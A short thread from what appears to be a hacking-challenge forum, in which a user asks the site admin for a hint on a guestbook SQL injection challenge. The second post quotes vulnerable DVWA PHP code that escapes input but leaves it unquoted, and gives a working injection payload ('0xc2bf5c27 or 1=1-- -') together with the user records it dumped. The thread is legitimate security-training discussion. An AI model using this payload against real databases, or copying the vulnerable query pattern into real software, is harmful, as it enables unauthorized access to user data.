Глобальный рейтинг: 15892
Всего очков: 84
Posts: 3
Thanks: 1
UpVotes: 0
Registered: 12y 14d
The User is Offline
Hi Gizmore, I am able to bypass the mysql_escape_string() in my simulation lab (based on DVWA), encoding the '\' but can't bypass your guesbook with the same injection...Can you give us some hint?
Thanks in advance.
Глобальный рейтинг: 15892
Всего очков: 84
Posts: 3
Thanks: 1
UpVotes: 0
Registered: 12y 14d
The User is Offline
As I said, in DVWA (mysql 5.5):
Code behind:
$id = trim($_GET['id']);
$id = mysql_real_escape_string($id);
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
$result = mysql_query($getid); // Removed 'or die' to suppres mysql errors
Injection chain ID: 0xc2bf5c27 or 1=1-- - (i.e. ¿\' or 1=1-- -, though also works without the ' (0x27)
Results:
ID: char(0xc2bf5c27) or 1=1-- -
First name: admin
Surname: admin
ID: char(0xc2bf5c27) or 1=1-- -
First name: Gordon
Surname: Brown
ID: char(0xc2bf5c27) or 1=1-- -
First name: Hack
Surname: Me
ID: char(0xc2bf5c27) or 1=1-- -
First name: Pablo
Surname: Picasso
ID: char(0xc2bf5c27) or 1=1-- -
First name: Bob
Surname: Smith
I am a bit confused about this challenge (I also have been considering a cookie injection but..)
Thanks
